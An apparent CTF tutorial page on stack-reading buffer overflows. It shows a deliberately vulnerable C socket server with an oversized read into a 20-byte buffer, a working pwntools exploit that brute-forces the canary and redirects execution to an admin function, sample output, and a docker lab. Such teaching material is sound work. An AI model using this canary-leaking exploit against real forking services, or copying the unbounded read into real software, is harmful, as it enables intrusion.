Challenge example

Source code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "serve.h"

int fd_f;

int authentification(void) {
    char buf[20];
    char passwd[16] = "";  // array to store the secret pass

    FILE *fp = fopen(".passwd", "r");
    fread(passwd, 1, 15, fp);
    fclose(fp);
    passwd[15] = '\0';

    write(fd_f, "Password :\n",11);
    read(fd_f, buf, 1024);
    if (!strcmp(buf, passwd)) {
        return 1;
    } else {
        return 0;
    }
}

void admin(void){
    write(fd_f, "Congratulation\n", 15);
}

void serve(int fd_) {
    int auth;
    fd_f = fd_;

    write(fd_f, "Welcome, please login in order to use the app.\n",47);
    auth = authentification();

    if (auth) {
        write(fd_f, "Welcome User\n",13);
    } else {
        write(fd_f, "Bad password\n",13);
    }
    return;
}


int main() {
    Serve socket = Serve_Create();

    if(socket.Bind(&socket, "0.0.0.0", 1337) < 0){
        perror("Binding socket error :");
        exit(1);
    } else if (socket.Listen(&socket, serve, 5) < 0){
        perror("Listen error :");
        exit(1);
    }
    return 0;
}

The binary is compiled without PIE and is served using the serve.c code

The serve.c code will not be explain here.

It will just serve the binary over a socket and make a fork of it to handle multiple connection at a time.

The buffer overflow occur during the authentication function at line 19 :

read(fd_f, buf, 1024);

Exploitation

Using the stack reading technique is possible to retrieve the canary value and then reuse it and overwrite RIP to jump to the admin function.

from pwn import *

def get_overflow_len(wait, expected):
    i = 1
    while i < 1000:
        print(f"Trying offset : {i}")
        p = remote("127.0.0.1", 1337)
        p.recvuntil(wait)
        p.send(b"A" * i)
        res = p.recvall(timeout=0.5)
        p.close()
        if not res or expected not in res:
            print(f"[bold][green]✓[/green]found offset :[/bold][green] {i - 1}[/green]")
            offset = i - 1
            return offset
        i += 1

def leak_stack(wait, expected, offset, length=8):
    global stop
    stack = b""
    for i in range(length):
        for j in range(256):
            p = remote("127.0.0.1", 1337)
            b = j.to_bytes(1, "big")
            print(f"Trying byte : {b}")
            p.recvuntil(wait)
            p.send(b"A" * offset + stack + b)
            res = p.recvall(timeout=0.5)
            p.close()
            if res and expected in res:
                print(f"byte found : {b}")
                stack = stack + b
                break
            if j == 255:
                stop = True
                print("Unable to leak stack byte")
    return stack

offset = get_overflow_len(b"Password :\n", b"Bad") #Retrieve buffer overflow offset
leaked = leak_stack(b"Password :\n", b"Bad", offset) # Retrieve stack canary
print(f"Leaked data : {hex(u64(leaked))}")

p = remote("127.0.0.1", 1337)
p.recvuntil(b"Password :\n")
p.send(b"A"*offset + leaked + p64(0) + p64(elf.symbols["admin"])) # Exploit
p.interactive()
$ python3 exploit.py
Leaked data : 0x1032ebdd91559100
[+] Opening connection to 127.0.0.1 on port 1337: Done
[*] Switching to interactive mode
Congratulation

Exercice

If you want to try this exploit by yourself, you can pull this docker image :

docker pull thectfrecipes/pwn:stack_reading

Deploy the image using the followed command :

docker run --name buffer_overflow_stack_reading -it --rm -d -p 3000:3000 thectfrecipes/pwn:stack_reading

Access to the web shell with your browser at the address : http://localhost:3000/

login: challenge
password: password

Last updated